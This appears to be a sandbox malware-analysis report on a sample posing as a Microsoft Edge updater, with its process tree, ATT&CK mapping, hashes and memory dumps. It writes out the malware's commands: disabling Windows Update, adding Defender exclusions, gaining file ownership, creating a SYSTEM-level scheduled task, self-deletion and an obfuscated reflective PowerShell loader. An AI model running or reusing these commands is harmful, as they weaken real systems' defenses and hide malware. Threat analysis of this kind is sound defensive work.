C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
6⤵
PID:1620

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
5⤵
PID:2024

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:824

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
6⤵
PID:1936

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
6⤵
PID:1432

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
6⤵
PID:1412

C:\Windows\System32\dialer.exe
C:\Windows\System32\dialer.exe "szxvhhjnzcny"
5⤵
PID:900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
4⤵
- Modifies data under HKEY_USERS
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
2⤵
PID:836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
2⤵
PID:808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
2⤵
PID:748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS
2⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
2⤵
PID:592

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
3⤵
PID:1600

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:416

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{0315e6b4-e9fa-4937-b74b-14548ed2a2ab}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:624

C:\Windows\SysWOW64\dllhost.exe
C:\Windows\SysWOW64\dllhost.exe /Processid:{bf7f73bd-c8f5-411e-8873-9da28377320b}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:112

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:480

\\?\C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T /R
1⤵
PID:1964

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1284

C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
2⤵
- Drops file in Drivers directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAZABjAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAaQB5ACMAPgA="
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:756

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:824

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:1668

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:552

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:1220

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:1208

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:1916

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:476

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1428

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:1120

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:1076

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1624

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1320

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1844

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1548

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1056

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1744

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1124

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1764

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1988

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:2000

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1596

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1592

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:112

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1496

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1028

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1924

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1640

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:828

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
3⤵
- Drops file in Windows directory
PID:1636

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "Microsoft Edge Update " /tr "\"C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe\""
3⤵
PID:1516

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "Microsoft Edge Update " /tr "\"C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe\""
4⤵
- Creates scheduled task(s)
PID:1208

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "Microsoft Edge Update "
3⤵
PID:1740

C:\Windows\system32\schtasks.exe
schtasks /run /tn "Microsoft Edge Update "
4⤵
PID:1120

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
3⤵
- Deletes itself
PID:1428

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
4⤵
PID:980

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1244

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "123416017413905470438565524399457175912100063222-2017876595-1859777679-1912855149"
1⤵
PID:1768

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-161298951117782093591077131628-10339490482081325232-1672618242-514342151-742310764"
1⤵
PID:880

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-327858209-223024781643480505-79841239313936105781438514121281038575371639886"
1⤵
PID:1140

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "16276309961237584124-1314331582-1021979978-2029442596252778615751383-9494696"
1⤵
PID:1728

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

File Permissions Modification

T1222

Install Root Certificate

T1130

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe
Filesize
4.9MB

MD5
8223e55c97c61478aa4230b2ca498a38

SHA1
a42c6d401fbf798806c5fe85c47cc047c189e486

SHA256
496b8bd286c915005f3c55317df916ec79ad773e7b88e7f52ae7019f2f071ba7

SHA512
5a2f32412d677e22602e0155a70328d9836e06eb26f59b6872b902fd044a7fb1011e066696018ae3db018282169e47e00aea3a861643662746543ab5f4d2f93d

Download Submit
C:\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe
Filesize
4.9MB

MD5
8223e55c97c61478aa4230b2ca498a38

SHA1
a42c6d401fbf798806c5fe85c47cc047c189e486

SHA256
496b8bd286c915005f3c55317df916ec79ad773e7b88e7f52ae7019f2f071ba7

SHA512
5a2f32412d677e22602e0155a70328d9836e06eb26f59b6872b902fd044a7fb1011e066696018ae3db018282169e47e00aea3a861643662746543ab5f4d2f93d

Download Submit
C:\Windows\Tasks\dialersvc32.job
Filesize
1KB

MD5
d93fbfbf403720353fdb1c273933f0a1

SHA1
7cae51c274693dcda7d9a4e9c46928ab265f902f

SHA256
e433e56709be0e40a315a05598a32efb23eae26742d2224e73ac65d07b661770

SHA512
b0da60ef60a27a6bfdc4067738c47b153809b02fc041a1cadafd110a6cc00baac5cfc93d9ed7b04f79753cb95115d0a9de5988769f3ca07762761ab65d41656e

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
3KB

MD5
e546b81f1a1a1b753a4f6d3455394dec

SHA1
14f407db119dd97ed248be2a8d15a09ba938987a

SHA256
1100d55448340b1a23c243209beb3aa1035a45912c346c00afb41181d9798de8

SHA512
03f12755ae8c165323b2562b620731217b9f55affe782e6e07540131065b2edf5c465b5440d6b08c7a1a3d8541e423e8c9919ca768f72f830bc211bceb7fccfe

Download Submit
\Program Files\Microsoft\EdgeUpdater\MicrosoftEdgeUpdate.exe
Filesize
4.9MB

MD5
8223e55c97c61478aa4230b2ca498a38

SHA1
a42c6d401fbf798806c5fe85c47cc047c189e486

SHA256
496b8bd286c915005f3c55317df916ec79ad773e7b88e7f52ae7019f2f071ba7

SHA512
5a2f32412d677e22602e0155a70328d9836e06eb26f59b6872b902fd044a7fb1011e066696018ae3db018282169e47e00aea3a861643662746543ab5f4d2f93d

Download Submit
memory/112-271-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download
memory/112-265-0x0000000077340000-0x00000000774C0000-memory.dmp

Filesize
1.5MB

Download
memory/112-95-0x0000000000000000-mapping.dmp

Download
memory/112-242-0x00000000004039E0-mapping.dmp

Download
memory/288-245-0x0000000001D00000-0x0000000001D2A000-memory.dmp

Filesize
168KB

Download
memory/300-243-0x0000000000A80000-0x0000000000AAA000-memory.dmp

Filesize
168KB

Download
memory/416-134-0x0000000000730000-0x0000000000753000-memory.dmp

Filesize
140KB

Download
memory/416-144-0x0000000000760000-0x000000000078A000-memory.dmp

Filesize
168KB

Download
memory/416-142-0x0000000000730000-0x0000000000753000-memory.dmp

Filesize
140KB

Download
memory/416-139-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/416-137-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/416-295-0x0000000000760000-0x000000000078A000-memory.dmp

Filesize
168KB

Download
memory/464-143-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/464-296-0x00000000000B0000-0x00000000000DA000-memory.dmp

Filesize
168KB

Download
memory/464-141-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/464-155-0x00000000000B0000-0x00000000000DA000-memory.dmp

Filesize
168KB

Download
memory/472-158-0x0000000000110000-0x000000000013A000-memory.dmp

Filesize
168KB

Download
memory/472-293-0x0000000000110000-0x000000000013A000-memory.dmp

Filesize
168KB

Download
memory/472-148-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/472-150-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/476-77-0x0000000000000000-mapping.dmp

Download
memory/480-153-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/480-161-0x0000000000830000-0x000000000085A000-memory.dmp

Filesize
168KB

Download
memory/480-297-0x0000000000830000-0x000000000085A000-memory.dmp

Filesize
168KB

Download
memory/480-156-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/552-71-0x0000000000000000-mapping.dmp

Download
memory/568-505-0x0000000000000000-mapping.dmp

Download
memory/576-290-0x0000000001474000-0x0000000001477000-memory.dmp

Filesize
12KB

Download
memory/576-276-0x0000000000000000-mapping.dmp

Download
memory/576-286-0x0000000000470000-0x000000000049A000-memory.dmp

Filesize
168KB

Download
memory/576-289-0x000000000147B000-0x000000000149A000-memory.dmp

Filesize
124KB

Download
memory/576-284-0x0000000000440000-0x000000000046A000-memory.dmp

Filesize
168KB

Download
memory/576-285-0x0000000001474000-0x0000000001477000-memory.dmp

Filesize
12KB

Download
memory/576-291-0x000000000147B000-0x000000000149A000-memory.dmp

Filesize
124KB

Download
memory/592-294-0x0000000000320000-0x000000000034A000-memory.dmp

Filesize
168KB

Download
memory/592-160-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/592-159-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/592-163-0x0000000000320000-0x000000000034A000-memory.dmp

Filesize
168KB

Download
memory/624-140-0x0000000077160000-0x0000000077309000-memory.dmp

Filesize
1.7MB

Download
memory/624-292-0x0000000077160000-0x0000000077309000-memory.dmp

Filesize
1.7MB

Download
memory/624-262-0x0000000000220000-0x000000000024A000-memory.dmp

Filesize
168KB

Download
memory/624-133-0x0000000076F40000-0x000000007705F000-memory.dmp

Filesize
1.1MB

Download
memory/624-132-0x0000000077160000-0x0000000077309000-memory.dmp

Filesize
1.7MB

Download
memory/672-165-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/672-166-0x0000000000470000-0x000000000049A000-memory.dmp

Filesize
168KB

Download
memory/672-167-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/672-298-0x0000000000470000-0x000000000049A000-memory.dmp

Filesize
168KB

Download
memory/748-171-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/748-170-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/748-233-0x00000000008B0000-0x00000000008DA000-memory.dmp

Filesize
168KB

Download
memory/748-301-0x00000000008B0000-0x00000000008DA000-memory.dmp

Filesize
168KB

Download
memory/756-65-0x0000000002A8B000-0x0000000002AAA000-memory.dmp

Filesize
124KB

Download
memory/756-59-0x0000000000000000-mapping.dmp

Download
memory/756-61-0x000007FEED210000-0x000007FEEDC33000-memory.dmp

Filesize
10.1MB

Download
memory/756-62-0x000007FEEC6B0000-0x000007FEED20D000-memory.dmp

Filesize
11.4MB

Download
memory/756-63-0x000000001B820000-0x000000001BB1F000-memory.dmp

Filesize
3.0MB

Download
memory/756-64-0x0000000002A84000-0x0000000002A87000-memory.dmp

Filesize
12KB

Download
memory/756-66-0x0000000002A84000-0x0000000002A87000-memory.dmp

Filesize
12KB

Download
memory/756-67-0x0000000002A8B000-0x0000000002AAA000-memory.dmp

Filesize
124KB

Download
memory/776-319-0x0000000000000000-mapping.dmp

Download
memory/808-237-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/808-236-0x0000000000820000-0x000000000084A000-memory.dmp

Filesize
168KB

Download
memory/808-179-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/824-68-0x0000000000000000-mapping.dmp

Download
memory/824-359-0x0000000000000000-mapping.dmp

Download
memory/828-81-0x0000000000000000-mapping.dmp

Download
memory/836-239-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/836-181-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/836-238-0x00000000007E0000-0x000000000080A000-memory.dmp

Filesize
168KB

Download
memory/848-263-0x00000000007F0000-0x000000000081A000-memory.dmp

Filesize
168KB

Download
memory/868-180-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/868-234-0x0000000000870000-0x000000000089A000-memory.dmp

Filesize
168KB

Download
memory/868-299-0x0000000000870000-0x000000000089A000-memory.dmp

Filesize
168KB

Download
memory/868-178-0x000007FEBEB00000-0x000007FEBEB10000-memory.dmp

Filesize
64KB

Download
memory/880-288-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/880-287-0x0000000000140000-0x000000000016A000-memory.dmp

Filesize
168KB

Download
memory/888-430-0x0000000000000000-mapping.dmp

Download
memory/900-57-0x000000001C330000-0x000000001C790000-memory.dmp

Filesize
4.4MB

Download
memory/900-54-0x00000000011C0000-0x0000000001B44000-memory.dmp

Filesize
9.5MB

Download
memory/900-58-0x000007FEFB9E1000-0x000007FEFB9E3000-memory.dmp

Filesize
8KB

Download
memory/900-97-0x0000000000D30000-0x0000000000D36000-memory.dmp

Filesize
24KB

Download
memory/900-423-0x0000000000000000-mapping.dmp

Download
memory/952-483-0x0000000000000000-mapping.dmp

Download
memory/964-247-0x00000000002E0000-0x000000000030A000-memory.dmp

Filesize
168KB

Download
memory/976-302-0x00000000003A0000-0x00000000003CA000-memory.dmp

Filesize
168KB

Download
memory/976-258-0x00000000003A0000-0x00000000003CA000-memory.dmp

Filesize
168KB

Download
memory/980-120-0x0000000000000000-mapping.dmp

Download
memory/1028-72-0x0000000000000000-mapping.dmp

Download
memory/1048-241-0x00000000007A0000-0x00000000007CA000-memory.dmp

Filesize
168KB

Download
memory/1056-87-0x0000000000000000-mapping.dmp

Download
memory/1076-82-0x0000000000000000-mapping.dmp

Download
memory/1120-80-0x0000000000000000-mapping.dmp

Download
memory/1120-119-0x0000000000000000-mapping.dmp

Download
memory/1124-89-0x0000000000000000-mapping.dmp

Download
memory/1160-249-0x0000000001E10000-0x0000000001E3A000-memory.dmp

Filesize
168KB

Download
memory/1160-251-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/1160-300-0x0000000001E10000-0x0000000001E3A000-memory.dmp

Filesize
168KB

Download
memory/1200-447-0x0000000000000000-mapping.dmp

Download
memory/1200-498-0x0000000000000000-mapping.dmp

Download
memory/1208-74-0x0000000000000000-mapping.dmp

Download
memory/1208-115-0x0000000000000000-mapping.dmp

Download
memory/1216-123-0x0000000000000000-mapping.dmp

Download
memory/1216-127-0x0000000001000000-0x0000000001984000-memory.dmp

Filesize
9.5MB

Download
memory/1216-264-0x0000000000650000-0x000000000067A000-memory.dmp

Filesize
168KB

Download
memory/1220-73-0x0000000000000000-mapping.dmp

Download
memory/1220-415-0x0000000000000000-mapping.dmp

Download
memory/1244-252-0x00000000001F0000-0x000000000021A000-memory.dmp

Filesize
168KB

Download
memory/1244-253-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/1284-257-0x0000000002C00000-0x0000000002C2A000-memory.dmp

Filesize
168KB

Download
memory/1320-84-0x0000000000000000-mapping.dmp

Download
memory/1412-406-0x0000000000000000-mapping.dmp

Download
memory/1424-400-0x0000000000000000-mapping.dmp

Download
memory/1428-118-0x0000000000000000-mapping.dmp

Download
memory/1428-79-0x0000000000000000-mapping.dmp

Download
memory/1432-397-0x0000000000000000-mapping.dmp

Download
memory/1464-370-0x0000000000000000-mapping.dmp

Download
memory/1496-475-0x0000000000000000-mapping.dmp

Download
memory/1496-96-0x0000000000000000-mapping.dmp

Download
memory/1516-114-0x0000000000000000-mapping.dmp

Download
memory/1548-86-0x0000000000000000-mapping.dmp

Download
memory/1592-94-0x0000000000000000-mapping.dmp

Download
memory/1596-93-0x0000000000000000-mapping.dmp

Download
memory/1600-379-0x0000000000000000-mapping.dmp

Download
memory/1604-128-0x0000000000000000-mapping.dmp

Download
memory/1604-328-0x0000000000000000-mapping.dmp

Download
memory/1620-439-0x0000000000000000-mapping.dmp

Download
memory/1624-83-0x0000000000000000-mapping.dmp

Download
memory/1636-99-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-101-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-105-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-112-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-106-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-109-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-108-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-121-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-104-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-103-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-110-0x0000000140001844-mapping.dmp

Download
memory/1636-98-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1636-116-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1640-78-0x0000000000000000-mapping.dmp

Download
memory/1668-70-0x0000000000000000-mapping.dmp

Download
memory/1672-457-0x0000000000000000-mapping.dmp

Download
memory/1740-117-0x0000000000000000-mapping.dmp

Download
memory/1744-88-0x0000000000000000-mapping.dmp

Download
memory/1752-152-0x0000000073A80000-0x000000007402B000-memory.dmp

Filesize
5.7MB

Download
memory/1752-129-0x0000000074DC1000-0x0000000074DC3000-memory.dmp

Filesize
8KB

Download
memory/1752-256-0x0000000073A80000-0x000000007402B000-memory.dmp

Filesize
5.7MB

Download
memory/1752-266-0x0000000077340000-0x00000000774C0000-memory.dmp

Filesize
1.5MB

Download
memory/1752-124-0x0000000000000000-mapping.dmp

Download
memory/1764-90-0x0000000000000000-mapping.dmp

Download
memory/1768-259-0x0000000000170000-0x000000000019A000-memory.dmp

Filesize
168KB

Download
memory/1784-324-0x0000000000000000-mapping.dmp

Download
memory/1844-85-0x0000000000000000-mapping.dmp

Download
memory/1916-76-0x0000000000000000-mapping.dmp

Download
memory/1924-75-0x0000000000000000-mapping.dmp

Download
memory/1936-385-0x0000000000000000-mapping.dmp

Download
memory/1964-261-0x00000000371A0000-0x00000000371B0000-memory.dmp

Filesize
64KB

Download
memory/1964-260-0x00000000007F0000-0x000000000081A000-memory.dmp

Filesize
168KB

Download
memory/1988-91-0x0000000000000000-mapping.dmp

Download
memory/2000-466-0x0000000000000000-mapping.dmp

Download
memory/2000-92-0x0000000000000000-mapping.dmp

Download
memory/2016-69-0x0000000000000000-mapping.dmp

Download
memory/2024-333-0x0000000000000000-mapping.dmp

Download